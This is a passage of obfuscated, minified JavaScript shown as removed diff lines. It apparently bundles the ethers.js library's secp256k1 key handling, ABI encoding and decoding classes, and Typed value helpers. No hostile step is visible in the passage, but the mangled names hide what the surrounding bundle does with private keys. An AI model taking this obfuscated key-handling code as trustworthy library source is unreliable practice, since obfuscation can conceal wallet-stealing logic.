- s: _0x4fc59d("0x" + _0xf3d103.s.toString(16), 32),
- v: _0x565844 ? 28 : 27
- });
- }
- }, {
- key: "computeSharedSecret",
- value: function (_0x2b3118) {
- var _0x3dd6fe = _0x2acf7a.computePublicKey(_0x2b3118);
- return _0x192257(function (_0x568813, _0x10e44f, _0x4f7d41 = false) {
- if (_0x392232(_0x568813)) {
- throw new TypeError("getSharedSecret: first arg must be private key");
- }
- if (!_0x392232(_0x10e44f)) {
- throw new TypeError("getSharedSecret: second arg must be public key");
- }
- const _0x22662e = (_0x3917ac = _0x10e44f) instanceof _0x54310d ? (_0x3917ac.assertValidity(), _0x3917ac) : _0x54310d.fromHex(_0x3917ac);
- var _0x3917ac;
- _0x22662e.assertValidity();
- return _0x22662e.multiply(_0x53adff(_0x568813)).toRawBytes(_0x4f7d41);
- }(_0x32958d(_0x46b89d(this, _0x54d812)), _0x2565f8(_0x3dd6fe)));
- }
- }], [{
- key: "computePublicKey",
- value: function (_0x1c14de, _0x594b46) {
- var _0x3b4fad = _0x2565f8(_0x1c14de, "key");
- if (32 === _0x3b4fad.length) {
- return _0x192257(function (_0x24ac70, _0x1629c0 = false) {
- return _0x54310d.fromPrivateKey(_0x24ac70).toRawBytes(_0x1629c0);
- }(_0x3b4fad, !!_0x594b46));
- }
- if (64 === _0x3b4fad.length) {
- var _0x3db701 = new Uint8Array(65);
- _0x3db701[0] = 4;
- _0x3db701.set(_0x3b4fad, 1);
- _0x3b4fad = _0x3db701;
- }
- return _0x192257(_0x54310d.fromHex(_0x3b4fad).toRawBytes(_0x594b46));
- }
- }, {
- key: "recoverPublicKey",
- value: function (_0x1afaa9, _0x41f308) {
- _0x413a2d(32 === _0x1f43f1(_0x1afaa9), "invalid digest length", "digest", _0x1afaa9);
- var _0x27b862 = _0x47e1c0.from(_0x41f308);
- var _0x18af49 = _0x4a39d1.fromCompact(_0x32958d(_0x251cd2([_0x27b862.r, _0x27b862.s]))).toDERRawBytes();
- var _0x195bb1 = function (_0x4c23ed, _0x1df9d5, _0x35da78, _0x567965 = false) {
- return _0x54310d.fromSignature(_0x4c23ed, _0x1df9d5, _0x35da78).toRawBytes(_0x567965);
- }(_0x32958d(_0x1afaa9), _0x18af49, _0x27b862.yParity);
- _0x413a2d(null != _0x195bb1, "invalid signautre for digest", "signature", _0x41f308);
- return _0x192257(_0x195bb1);
- }
- }, {
- key: "addPoints",
- value: function (_0x3327d9, _0x56e365, _0x4e21db) {
- var _0xc8cf3 = _0x54310d.fromHex(_0x2acf7a.computePublicKey(_0x3327d9).substring(2));
- var _0x105d96 = _0x54310d.fromHex(_0x2acf7a.computePublicKey(_0x56e365).substring(2));
- return "0x" + _0xc8cf3.add(_0x105d96).toHex(!!_0x4e21db);
- }
- }]);
- return _0x2acf7a;
- }();
- function _0x1f62c(_0x1be913) {
- return _0x46447e(_0xa68238("0x" + ("string" == typeof _0x1be913 ? _0xda262b.computePublicKey(_0x1be913, false) : _0x1be913.publicKey).substring(4)).substring(26));
- }
- function _0x56c182(_0xea84c8, _0x55e83b) {
- return _0x1f62c(_0xda262b.recoverPublicKey(_0xea84c8, _0x55e83b));
- }
- function _0x522564(_0x27cb59, _0x215a9f, _0x28256e) {
- _0x522564 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x1b5d1e) {
- return false;
- }
- }() ? Reflect.construct.bind() : function (_0x526b1b, _0x1a9010, _0x52e2b5) {
- var _0x1c5ab3 = [null];
- _0x1c5ab3.push.apply(_0x1c5ab3, _0x1a9010);
- var _0x185712 = new (Function.bind.apply(_0x526b1b, _0x1c5ab3))();
- _0x52e2b5 && _0x171fd0(_0x185712, _0x52e2b5.prototype);
- return _0x185712;
- };
- return _0x522564.apply(null, arguments);
- }
- function _0x2db048(_0x3487d0) {
- var _0x5de8cf = "function" == typeof Map ? new Map() : undefined;
- _0x2db048 = function (_0x4851aa) {
- if (null === _0x4851aa || (_0x381db0 = _0x4851aa, -1 === Function.toString.call(_0x381db0).indexOf("[native code]"))) {
- return _0x4851aa;
- }
- var _0x381db0;
- if ("function" != typeof _0x4851aa) {
- throw new TypeError("Super expression must either be null or a function");
- }
- if (undefined !== _0x5de8cf) {
- if (_0x5de8cf.has(_0x4851aa)) {
- return _0x5de8cf.get(_0x4851aa);
- }
- _0x5de8cf.set(_0x4851aa, _0x49149b);
- }
- function _0x49149b() {
- return _0x522564(_0x4851aa, arguments, _0x1cc855(this).constructor);
- }
- _0x49149b.prototype = Object.create(_0x4851aa.prototype, {
- constructor: {
- value: _0x49149b,
- enumerable: false,
- writable: true,
- configurable: true
- }
- });
- return _0x171fd0(_0x49149b, _0x4851aa);
- };
- return _0x2db048(_0x3487d0);
- }
- function _0x5965a1(_0x53d3b8, _0x44d3ff) {
- _0x418766(_0x53d3b8, _0x44d3ff);
- _0x44d3ff.add(_0x53d3b8);
- }
- function _0x794792(_0x416ffc, _0x4bed2b, _0x4615ba) {
- if (!_0x4bed2b.has(_0x416ffc)) {
- throw new TypeError("attempted to get private field on non-instance");
- }
- return _0x4615ba;
- }
- function _0x1c2b61(_0x578023, _0x5036c5, _0x4153a3) {
- _0x418766(_0x578023, _0x5036c5);
- _0x5036c5.set(_0x578023, _0x4153a3);
- }
- function _0x418766(_0x33299e, _0xdb2190) {
- if (_0xdb2190.has(_0x33299e)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- }
- var _0x52b400 = 32;
- var _0x37f99e = new Uint8Array(_0x52b400);
- var _0x34d16d = ["then"];
- var _0x128a3d = {};
- function _0x153807(_0x2a8387, _0x27ac23) {
- var _0x2b74f6 = new Error("deferred error during ABI decoding triggered accessing ".concat(_0x2a8387));
- throw _0x2b74f6.error = _0x27ac23, _0x2b74f6;
- }
- var _0x100f75 = new WeakMap();
- var _0x46f7ed = function (_0x5f1ddd) {
- _0x2e6032(_0xe10755, _0x5f1ddd);
- var _0x1ee435;
- var _0x12d489;
- _0x1ee435 = _0xe10755;
- _0x12d489 = function () {
- if ("undefined" == typeof Reflect || !Reflect.construct) {
- return false;
- }
- if (Reflect.construct.sham) {
- return false;
- }
- if ("function" == typeof Proxy) {
- return true;
- }
- try {
- Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {}));
- return true;
- } catch (_0x16e570) {
- return false;
- }
- }();
- var _0x16006f = function () {
- var _0x36d3ec;
- var _0x82ee86 = _0x1cc855(_0x1ee435);
- if (_0x12d489) {
- var _0x564439 = _0x1cc855(this).constructor;
- _0x36d3ec = Reflect.construct(_0x82ee86, arguments, _0x564439);
- } else {
- _0x36d3ec = _0x82ee86.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x36d3ec);
- };
- function _0xe10755() {
- var _0x3c55b7;
- _0x1d998d(this, _0xe10755);
- for (var _0x505ce4 = arguments.length, _0x53599c = new Array(_0x505ce4), _0x5a2b49 = 0; _0x5a2b49 < _0x505ce4; _0x5a2b49++) {
- _0x53599c[_0x5a2b49] = arguments[_0x5a2b49];
- }
- var _0x23b7f8 = _0x53599c[0];
- var _0x3663c6 = _0x53599c[1];
- var _0x2fc62e = (_0x53599c[2] || []).slice();
- var _0x6f716e = true;
- _0x23b7f8 !== _0x128a3d && (_0x3663c6 = _0x53599c, _0x2fc62e = [], _0x6f716e = false);
- _0x1c2b61(_0x3ea587(_0x3c55b7 = _0x16006f.call(this, _0x3663c6.length)), _0x100f75, {
- writable: true,
- value: undefined
- });
- _0x3663c6.forEach(function (_0x3048f8, _0x512cb8) {
- _0x3c55b7[_0x512cb8] = _0x3048f8;
- });
- var _0x2caf9e = _0x2fc62e.reduce(function (_0x4a9359, _0x3e56ea) {
- "string" == typeof _0x3e56ea && _0x4a9359.set(_0x3e56ea, (_0x4a9359.get(_0x3e56ea) || 0) + 1);
- return _0x4a9359;
- }, new Map());
- _0x207f54(_0x3ea587(_0x3c55b7), _0x100f75, Object.freeze(_0x3663c6.map(function (_0x29d3a8, _0x20f568) {
- var _0x7a75ac = _0x2fc62e[_0x20f568];
- return null != _0x7a75ac && 1 === _0x2caf9e.get(_0x7a75ac) ? _0x7a75ac : null;
- })));
- return _0x6f716e ? (Object.freeze(_0x3ea587(_0x3c55b7)), _0xeaa5dd(_0x3c55b7, new Proxy(_0x3ea587(_0x3c55b7), {
- get: function (_0xa6fe6c, _0xe5b8a3, _0x42eadf) {
- if ("string" == typeof _0xe5b8a3) {
- if (_0xe5b8a3.match(/^[0-9]+$/)) {
- var _0x21eb7d = _0x453994(_0xe5b8a3, "%index");
- if (_0x21eb7d < 0 || _0x21eb7d >= _0x3c55b7.length) {
- throw new RangeError("out of result range");
- }
- var _0x232aa6 = _0xa6fe6c[_0x21eb7d];
- _0x232aa6 instanceof Error && _0x153807("index ".concat(_0x21eb7d), _0x232aa6);
- return _0x232aa6;
- }
- if (_0x34d16d.indexOf(_0xe5b8a3) >= 0) {
- return Reflect.get(_0xa6fe6c, _0xe5b8a3, _0x42eadf);
- }
- var _0x323a62 = _0xa6fe6c[_0xe5b8a3];
- if (_0x323a62 instanceof Function) {
- return function () {
- for (var _0x12b9fa = arguments.length, _0x55b740 = new Array(_0x12b9fa), _0x184ee2 = 0; _0x184ee2 < _0x12b9fa; _0x184ee2++) {
- _0x55b740[_0x184ee2] = arguments[_0x184ee2];
- }
- return _0x323a62.apply(this === _0x42eadf ? _0xa6fe6c : this, _0x55b740);
- };
- }
- if (!(_0xe5b8a3 in _0xa6fe6c)) {
- return _0xa6fe6c.getValue.apply(_0x3ea587(_0x3c55b7) === _0x42eadf ? _0xa6fe6c : _0x3ea587(_0x3c55b7), [_0xe5b8a3]);
- }
- }
- return Reflect.get(_0xa6fe6c, _0xe5b8a3, _0x42eadf);
- }
- }))) : _0xeaa5dd(_0x3c55b7);
- }
- _0x561e78(_0xe10755, [{
- key: "toArray",
- value: function () {
- var _0xcefd34 = [];
- this.forEach(function (_0x17525c, _0x322efa) {
- _0x17525c instanceof Error && _0x153807("index ".concat(_0x322efa), _0x17525c);
- _0xcefd34.push(_0x17525c);
- });
- return _0xcefd34;
- }
- }, {
- key: "toObject",
- value: function () {
- var _0x25507e = this;
- return _0x46b89d(this, _0x100f75).reduce(function (_0x3ef980, _0xce289c, _0x561b0e) {
- _0x2b816d(null != _0xce289c, "value at index ${ index } unnamed", "UNSUPPORTED_OPERATION", {
- operation: "toObject()"
- });
- _0xce289c in _0x3ef980 || (_0x3ef980[_0xce289c] = _0x25507e.getValue(_0xce289c));
- return _0x3ef980;
- }, {});
- }
- }, {
- key: "slice",
- value: function (_0x3df57e, _0x166426) {
- null == _0x3df57e && (_0x3df57e = 0);
- _0x3df57e < 0 && (_0x3df57e += this.length) < 0 && (_0x3df57e = 0);
- null == _0x166426 && (_0x166426 = this.length);
- _0x166426 < 0 && (_0x166426 += this.length) < 0 && (_0x166426 = 0);
- _0x166426 > this.length && (_0x166426 = this.length);
- for (var _0x2c25ac = [], _0x2ca138 = [], _0x210f7f = _0x3df57e; _0x210f7f < _0x166426; _0x210f7f++) {
- _0x2c25ac.push(this[_0x210f7f]);
- _0x2ca138.push(_0x46b89d(this, _0x100f75)[_0x210f7f]);
- }
- return new _0xe10755(_0x128a3d, _0x2c25ac, _0x2ca138);
- }
- }, {
- key: "filter",
- value: function (_0x2be8de, _0x260f83) {
- for (var _0x942e5d = [], _0x5710c7 = [], _0x47b77d = 0; _0x47b77d < this.length; _0x47b77d++) {
- var _0x256ec3 = this[_0x47b77d];
- _0x256ec3 instanceof Error && _0x153807("index ".concat(_0x47b77d), _0x256ec3);
- _0x2be8de.call(_0x260f83, _0x256ec3, _0x47b77d, this) && (_0x942e5d.push(_0x256ec3), _0x5710c7.push(_0x46b89d(this, _0x100f75)[_0x47b77d]));
- }
- return new _0xe10755(_0x128a3d, _0x942e5d, _0x5710c7);
- }
- }, {
- key: "map",
- value: function (_0x19712a, _0x58118c) {
- for (var _0x2109a1 = [], _0x44cb55 = 0; _0x44cb55 < this.length; _0x44cb55++) {
- var _0x273673 = this[_0x44cb55];
- _0x273673 instanceof Error && _0x153807("index ".concat(_0x44cb55), _0x273673);
- _0x2109a1.push(_0x19712a.call(_0x58118c, _0x273673, _0x44cb55, this));
- }
- return _0x2109a1;
- }
- }, {
- key: "getValue",
- value: function (_0x359113) {
- var _0x41c3d3 = _0x46b89d(this, _0x100f75).indexOf(_0x359113);
- if (-1 !== _0x41c3d3) {
- var _0x9b1ccd = this[_0x41c3d3];
- _0x9b1ccd instanceof Error && _0x153807("property ".concat(JSON.stringify(_0x359113)), _0x9b1ccd.error);
- return _0x9b1ccd;
- }
- }
- }], [{
- key: "fromItems",
- value: function (_0x2db68b, _0x179ce5) {
- return new _0xe10755(_0x128a3d, _0x2db68b, _0x179ce5);
- }
- }]);
- return _0xe10755;
- }(_0x2db048(Array));
- function _0x5a83e5(_0x3663e6) {
- var _0x27d401 = _0x30872d(_0x3663e6);
- _0x2b816d(_0x27d401.length <= _0x52b400, "value out-of-bounds", "BUFFER_OVERRUN", {
- buffer: _0x27d401,
- length: _0x52b400,
- offset: _0x27d401.length
- });
- _0x27d401.length !== _0x52b400 && (_0x27d401 = _0x32958d(_0x251cd2([_0x37f99e.slice(_0x27d401.length % _0x52b400), _0x27d401])));
- return _0x27d401;
- }
- var _0x4859c2 = function () {
- function _0x4a52b9(_0x20cd32, _0x28b4b4, _0x1b6abc, _0x212019) {
- _0x1d998d(this, _0x4a52b9);
- _0x713ed3(this, "name", undefined);
- _0x713ed3(this, "type", undefined);
- _0x713ed3(this, "localName", undefined);
- _0x713ed3(this, "dynamic", undefined);
- _0x7e8dd6(this, {
- name: _0x20cd32,
- type: _0x28b4b4,
- localName: _0x1b6abc,
- dynamic: _0x212019
- }, {
- name: "string",
- type: "string",
- localName: "string",
- dynamic: "boolean"
- });
- }
- _0x561e78(_0x4a52b9, [{
- key: "_throwError",
- value: function (_0x58b031, _0x586158) {
- _0x413a2d(false, _0x58b031, this.localName, _0x586158);
- }
- }]);
- return _0x4a52b9;
- }();
- var _0x1ff75f = new WeakMap();
- var _0x493f43 = new WeakMap();
- var _0xf434ef = new WeakSet();
- var _0x528550 = function () {
- function _0x489935() {
- _0x1d998d(this, _0x489935);
- _0x5965a1(this, _0xf434ef);
- _0x1c2b61(this, _0x1ff75f, {
- writable: true,
- value: undefined
- });
- _0x1c2b61(this, _0x493f43, {
- writable: true,
- value: undefined
- });
- _0x207f54(this, _0x1ff75f, []);
- _0x207f54(this, _0x493f43, 0);
- }
- _0x561e78(_0x489935, [{
- key: "data",
- get: function () {
- return _0x251cd2(_0x46b89d(this, _0x1ff75f));
- }
- }, {
- key: "length",
- get: function () {
- return _0x46b89d(this, _0x493f43);
- }
- }, {
- key: "appendWriter",
- value: function (_0x50a149) {
- return _0x794792(this, _0xf434ef, _0x2a45e9).call(this, _0x32958d(_0x50a149.data));
- }
- }, {
- key: "writeBytes",
- value: function (_0x55fb61) {
- var _0x4032b6 = _0x32958d(_0x55fb61);
- var _0x18aa19 = _0x4032b6.length % _0x52b400;
- _0x18aa19 && (_0x4032b6 = _0x32958d(_0x251cd2([_0x4032b6, _0x37f99e.slice(_0x18aa19)])));
- return _0x794792(this, _0xf434ef, _0x2a45e9).call(this, _0x4032b6);
- }
- }, {
- key: "writeValue",
- value: function (_0x50b5dc) {
- return _0x794792(this, _0xf434ef, _0x2a45e9).call(this, _0x5a83e5(_0x50b5dc));
- }
- }, {
- key: "writeUpdatableValue",
- value: function () {
- var _0x157837 = this;
- var _0x77072c = _0x46b89d(this, _0x1ff75f).length;
- _0x46b89d(this, _0x1ff75f).push(_0x37f99e);
- _0x207f54(this, _0x493f43, _0x46b89d(this, _0x493f43) + _0x52b400);
- return function (_0x296e9d) {
- _0x46b89d(_0x157837, _0x1ff75f)[_0x77072c] = _0x5a83e5(_0x296e9d);
- };
- }
- }]);
- return _0x489935;
- }();
- function _0x2a45e9(_0x45238a) {
- _0x46b89d(this, _0x1ff75f).push(_0x45238a);
- _0x207f54(this, _0x493f43, _0x46b89d(this, _0x493f43) + _0x45238a.length);
- return _0x45238a.length;
- }
- var _0x794a08 = new WeakMap();
- var _0x414498 = new WeakMap();
- var _0x453247 = new WeakSet();
- var _0x5bbccc = function () {
- function _0x4c9cb8(_0x5c5604, _0x25293e) {
- _0x1d998d(this, _0x4c9cb8);
- _0x5965a1(this, _0x453247);
- _0x713ed3(this, "allowLoose", undefined);
- _0x1c2b61(this, _0x794a08, {
- writable: true,
- value: undefined
- });
- _0x1c2b61(this, _0x414498, {
- writable: true,
- value: undefined
- });
- _0x7e8dd6(this, {
- allowLoose: !!_0x25293e
- });
- _0x207f54(this, _0x794a08, _0x32958d(_0x5c5604));
- _0x207f54(this, _0x414498, 0);
- }
- _0x561e78(_0x4c9cb8, [{
- key: "data",
- get: function () {
- return _0x192257(_0x46b89d(this, _0x794a08));
- }
- }, {
- key: "dataLength",
- get: function () {
- return _0x46b89d(this, _0x794a08).length;
- }
- }, {
- key: "consumed",
- get: function () {
- return _0x46b89d(this, _0x414498);
- }
- }, {
- key: "bytes",
- get: function () {
- return new Uint8Array(_0x46b89d(this, _0x794a08));
- }
- }, {
- key: "subReader",
- value: function (_0x3af10d) {
- return new _0x4c9cb8(_0x46b89d(this, _0x794a08).slice(_0x46b89d(this, _0x414498) + _0x3af10d), this.allowLoose);
- }
- }, {
- key: "readBytes",
- value: function (_0x49ca30, _0x494c8a) {
- var _0x190a97 = _0x794792(this, _0x453247, _0x370d79).call(this, 0, _0x49ca30, !!_0x494c8a);
- _0x207f54(this, _0x414498, _0x46b89d(this, _0x414498) + _0x190a97.length);
- return _0x190a97.slice(0, _0x49ca30);
- }
- }, {
- key: "readValue",
- value: function () {
- return _0xafeb24(this.readBytes(_0x52b400));
- }
- }, {
- key: "readIndex",
- value: function () {
- return _0x453994(_0xafeb24(this.readBytes(_0x52b400)));
- }
- }]);
- return _0x4c9cb8;
- }();
- function _0x370d79(_0x231f1d, _0x193b49, _0x10c146) {
- var _0x54cf2a = Math.ceil(_0x193b49 / _0x52b400) * _0x52b400;
- _0x46b89d(this, _0x414498) + _0x54cf2a > _0x46b89d(this, _0x794a08).length && (this.allowLoose && _0x10c146 && _0x46b89d(this, _0x414498) + _0x193b49 <= _0x46b89d(this, _0x794a08).length ? _0x54cf2a = _0x193b49 : _0x2b816d(false, "data out-of-bounds", "BUFFER_OVERRUN", {
- buffer: _0x32958d(_0x46b89d(this, _0x794a08)),
- length: _0x46b89d(this, _0x794a08).length,
- offset: _0x46b89d(this, _0x414498) + _0x54cf2a
- }));
- return _0x46b89d(this, _0x794a08).slice(_0x46b89d(this, _0x414498), _0x46b89d(this, _0x414498) + _0x54cf2a);
- }
- var _0x2c347f = {};
- function _0x591012(_0x50df06, _0x3814a1) {
- var _0x2acdd1 = false;
- _0x3814a1 < 0 && (_0x2acdd1 = true, _0x3814a1 *= -1);
- return new _0x56dfcc(_0x2c347f, "".concat(_0x2acdd1 ? "" : "u", "int").concat(_0x3814a1), _0x50df06, {
- signed: _0x2acdd1,
- width: _0x3814a1
- });
- }
- function _0xf4e330(_0x14749f, _0x1c86df) {
- return new _0x56dfcc(_0x2c347f, "bytes".concat(_0x1c86df || ""), _0x14749f, {
- size: _0x1c86df
- });
- }
- var _0x4ee5a8 = Symbol.for("_ethers_typed");
- var _0xd85ab2 = new WeakMap();
- var _0x56dfcc = function () {
- function _0x523eca(_0x239266, _0xea0a2e, _0x265e1f, _0x93a4b8) {
- _0x1d998d(this, _0x523eca);
- _0x713ed3(this, "type", undefined);
- _0x713ed3(this, "value", undefined);
- (function (_0x2f7bcb, _0x2aaeb4, _0x1970d5) {
- !function (_0x7a9dab, _0x249ea9) {
- if (_0x249ea9.has(_0x7a9dab)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- }(_0x2f7bcb, _0x2aaeb4);
- _0x2aaeb4.set(_0x2f7bcb, _0x1970d5);
- })(this, _0xd85ab2, {
- writable: true,
- value: undefined
- });
- _0x713ed3(this, "_typedSymbol", undefined);
- null == _0x93a4b8 && (_0x93a4b8 = null);
- _0x5c4373(_0x2c347f, _0x239266, "Typed");
- _0x7e8dd6(this, {
- _typedSymbol: _0x4ee5a8,
- type: _0xea0a2e,
- value: _0x265e1f
- });
- _0x207f54(this, _0xd85ab2, _0x93a4b8);
- this.format();
- }
- _0x561e78(_0x523eca, [{
- key: "format",
- value: function () {
- if ("array" === this.type) {
- throw new Error("");
- }
- if ("dynamicArray" === this.type) {
- throw new Error("");
- }
- return "tuple" === this.type ? "tuple(".concat(this.value.map(function (_0x49efe9) {
- return _0x49efe9.format();
- }).join(","), ")") : this.type;
- }
- }, {
- key: "defaultValue",
- value: function () {
- return 0;
- }
- }, {
- key: "minValue",
- value: function () {
- return 0;
- }
- }, {
- key: "maxValue",
- value: function () {
- return 0;
- }
- }, {
- key: "isBigInt",
- value: function () {
- return !!this.type.match(/^u?int[0-9]+$/);
- }
- }, {
- key: "isData",
- value: function () {
- return this.type.startsWith("bytes");
- }
- }, {
- key: "isString",
- value: function () {
- return "string" === this.type;
- }
- }, {
- key: "tupleName",
- get: function () {
- if ("tuple" !== this.type) {
- throw TypeError("not a tuple");
- }
- return _0x46b89d(this, _0xd85ab2);
- }
- }, {
- key: "arrayLength",
- get: function () {
- if ("array" !== this.type) {
- throw TypeError("not an array");
- }
- return true === _0x46b89d(this, _0xd85ab2) ? -1 : false === _0x46b89d(this, _0xd85ab2) ? this.value.length : null;
- }
- }], [{
- key: "from",
- value: function (_0x2f401c, _0x3dc787) {
- return new _0x523eca(_0x2c347f, _0x2f401c, _0x3dc787);
- }
- }, {
- key: "uint8",
- value: function (_0x26fb47) {
- return _0x591012(_0x26fb47, 8);
- }
- }, {
- key: "uint16",
- value: function (_0xa5a832) {
- return _0x591012(_0xa5a832, 16);
- }
- }, {
- key: "uint24",
- value: function (_0xf5971b) {
- return _0x591012(_0xf5971b, 24);
- }
- }, {
- key: "uint32",
- value: function (_0x960221) {
- return _0x591012(_0x960221, 32);
- }
- }, {
- key: "uint40",
- value: function (_0x401abd) {
- return _0x591012(_0x401abd, 40);
- }
- }, {
- key: "uint48",
- value: function (_0x51e5cb) {
- return _0x591012(_0x51e5cb, 48);
- }
- }, {
- key: "uint56",
- value: function (_0x6c29e9) {
- return _0x591012(_0x6c29e9, 56);
- }
- }, {
- key: "uint64",
- value: function (_0x48820a) {
- return _0x591012(_0x48820a, 64);
- }
- }, {
- key: "uint72",
- value: function (_0x53fc14) {
- return _0x591012(_0x53fc14, 72);
- }
- }, {
- key: "uint80",
- value: function (_0x1f8e1b) {
- return _0x591012(_0x1f8e1b, 80);
- }
- }, {
- key: "uint88",
- value: function (_0x34f133) {
- return _0x591012(_0x34f133, 88);
- }
- }, {
- key: "uint96",
- value: function (_0x47471a) {
- return _0x591012(_0x47471a, 96);
- }
- }, {
- key: "uint104",
- value: function (_0x237b82) {
- return _0x591012(_0x237b82, 104);
- }
- }, {
- key: "uint112",
- value: function (_0x40a9c6) {
- return _0x591012(_0x40a9c6, 112);
- }
- }, {
- key: "uint120",
- value: function (_0x5b69d) {
- return _0x591012(_0x5b69d, 120);
- }
- }, {
- key: "uint128",
- value: function (_0x7923d6) {
- return _0x591012(_0x7923d6, 128);
- }
- }, {
- key: "uint136",
- value: function (_0x45a695) {
- return _0x591012(_0x45a695, 136);
- }
- }, {
- key: "uint144",
- value: function (_0x2d0c18) {
- return _0x591012(_0x2d0c18, 144);
- }
- }, {
- key: "uint152",
- value: function (_0x40ec30) {
- return _0x591012(_0x40ec30, 152);
- }
- }, {
- key: "uint160",
- value: function (_0x1a0ac9) {
- return _0x591012(_0x1a0ac9, 160);
- }
- }, {
- key: "uint168",
- value: function (_0x42b4db) {
- return _0x591012(_0x42b4db, 168);
- }
- }, {
- key: "uint176",
- value: function (_0x4f5e11) {
- return _0x591012(_0x4f5e11, 176);
- }
- }, {
- key: "uint184",
- value: function (_0x5c44d1) {
- return _0x591012(_0x5c44d1, 184);
- }
- }, {
- key: "uint192",
- value: function (_0x1936c7) {
- return _0x591012(_0x1936c7, 192);
- }
- }, {
- key: "uint200",
- value: function (_0x536ff1) {
- return _0x591012(_0x536ff1, 200);
- }
- }, {
- key: "uint208",
- value: function (_0x25e94f) {
- return _0x591012(_0x25e94f, 208);
- }
- }, {
- key: "uint216",
- value: function (_0x575956) {
- return _0x591012(_0x575956, 216);
- }
- }, {
- key: "uint224",
- value: function (_0x4f5188) {
- return _0x591012(_0x4f5188, 224);
- }
- }, {
- key: "uint232",
- value: function (_0x57c5ad) {
- return _0x591012(_0x57c5ad, 232);
- }
- }, {
- key: "uint240",
- value: function (_0x56e4c1) {
- return _0x591012(_0x56e4c1, 240);
- }
- }, {
- key: "uint248",
- value: function (_0x27fc3a) {
- return _0x591012(_0x27fc3a, 248);
- }
- }, {
- key: "uint256",
- value: function (_0xf8c38) {
- return _0x591012(_0xf8c38, 256);
- }
- }, {
- key: "uint",
- value: function (_0x349c2c) {
- return _0x591012(_0x349c2c, 256);
- }
- }, {
- key: "int8",
- value: function (_0xd3129b) {
- return _0x591012(_0xd3129b, -8);
- }
- }, {
- key: "int16",
- value: function (_0x2630ac) {
- return _0x591012(_0x2630ac, -16);
- }
- }, {
- key: "int24",
- value: function (_0x509e6d) {
- return _0x591012(_0x509e6d, -24);
- }
- }, {
- key: "int32",
- value: function (_0x70f909) {
- return _0x591012(_0x70f909, -32);
- }
- }, {
- key: "int40",
- value: function (_0x5e35fb) {
- return _0x591012(_0x5e35fb, -40);
- }
- }, {
- key: "int48",
- value: function (_0x22639b) {
- return _0x591012(_0x22639b, -48);
- }
- }, {
- key: "int56",
- value: function (_0x209540) {
- return _0x591012(_0x209540, -56);
- }
- }, {
- key: "int64",
- value: function (_0x7e8d8) {
- return _0x591012(_0x7e8d8, -64);
- }
- }, {
- key: "int72",
- value: function (_0xd09377) {
- return _0x591012(_0xd09377, -72);
- }
- }, {
- key: "int80",
- value: function (_0x41aeaf) {
- return _0x591012(_0x41aeaf, -80);
- }
- }, {
- key: "int88",
- value: function (_0x1ccbfc) {
- return _0x591012(_0x1ccbfc, -88);
- }
- }, {
- key: "int96",
- value: function (_0x2ec5ab) {
- return _0x591012(_0x2ec5ab, -96);
- }
- }, {
- key: "int104",
- value: function (_0x52bcb6) {
- return _0x591012(_0x52bcb6, -104);
- }
- }, {
- key: "int112",
- value: function (_0x552388) {
- return _0x591012(_0x552388, -112);
- }
- }, {
- key: "int120",
- value: function (_0x4ad3a2) {
- return _0x591012(_0x4ad3a2, -120);
- }
- }, {
- key: "int128",
- value: function (_0x2a148c) {
- return _0x591012(_0x2a148c, -128);
- }
- }, {
- key: "int136",
- value: function (_0x1703bd) {
- return _0x591012(_0x1703bd, -136);
- }
- }, {
- key: "int144",
- value: function (_0x57713f) {
- return _0x591012(_0x57713f, -144);
- }
- }, {
- key: "int152",
- value: function (_0x1c767a) {
- return _0x591012(_0x1c767a, -152);
- }
- }, {
- key: "int160",
- value: function (_0x3a3888) {
- return _0x591012(_0x3a3888, -160);
- }
- }, {
- key: "int168",
- value: function (_0x101a22) {
- return _0x591012(_0x101a22, -168);
- }
- }, {
- key: "int176",
- value: function (_0xd99be5) {
- return _0x591012(_0xd99be5, -176);
- }
- }, {
- key: "int184",
- value: function (_0x1890cc) {
- return _0x591012(_0x1890cc, -184);
- }
- }, {
- key: "int192",
- value: function (_0x13e994) {
- return _0x591012(_0x13e994, -192);
- }
- }, {
- key: "int200",
- value: function (_0x5d0d76) {
- return _0x591012(_0x5d0d76, -200);
- }
- }, {
- key: "int208",
- value: function (_0x356a12) {
- return _0x591012(_0x356a12, -208);
- }
- }, {
- key: "int216",
- value: function (_0x1dccfe) {
- return _0x591012(_0x1dccfe, -216);
- }
- }, {
- key: "int224",
- value: function (_0x3607f0) {
- return _0x591012(_0x3607f0, -224);
- }
- }, {
- key: "int232",
- value: function (_0x28a04f) {
- return _0x591012(_0x28a04f, -232);
- }
- }, {
- key: "int240",
- value: function (_0x5d81d5) {
- return _0x591012(_0x5d81d5, -240);
- }
- }, {
- key: "int248",
- value: function (_0x391e0a) {
- return _0x591012(_0x391e0a, -248);
- }
- }, {
- key: "int256",
- value: function (_0x3ca197) {
- return _0x591012(_0x3ca197, -256);
- }
- }, {
- key: "int",
- value: function (_0x34d0fe) {
- return _0x591012(_0x34d0fe, -256);
- }
- }, {
- key: "bytes1",
- value: function (_0x16af89) {
- return _0xf4e330(_0x16af89, 1);
- }
- }, {
- key: "bytes2",
- value: function (_0x344e8e) {
- return _0xf4e330(_0x344e8e, 2);
- }
- }, {
- key: "bytes3",
- value: function (_0x575878) {
- return _0xf4e330(_0x575878, 3);
- }
- }, {
- key: "bytes4",
- value: function (_0x1edd67) {
- return _0xf4e330(_0x1edd67, 4);
- }
- }, {
- key: "bytes5",
- value: function (_0xc6a2ed) {
- return _0xf4e330(_0xc6a2ed, 5);
- }
- }, {
- key: "bytes6",
- value: function (_0x5bf86a) {
- return _0xf4e330(_0x5bf86a, 6);
- }
- }, {
- key: "bytes7",
- value: function (_0x364fa3) {
- return _0xf4e330(_0x364fa3, 7);
- }
- }, {
- key: "bytes8",
- value: function (_0x4419f5) {
- return _0xf4e330(_0x4419f5, 8);
- }
- }, {
- key: "bytes9",
- value: function (_0x14a3b9) {
- return _0xf4e330(_0x14a3b9, 9);
- }
- }, {
- key: "bytes10",
- value: function (_0x495849) {
- return _0xf4e330(_0x495849, 10);
- }
- }, {
- key: "bytes11",
- value: function (_0x33924c) {
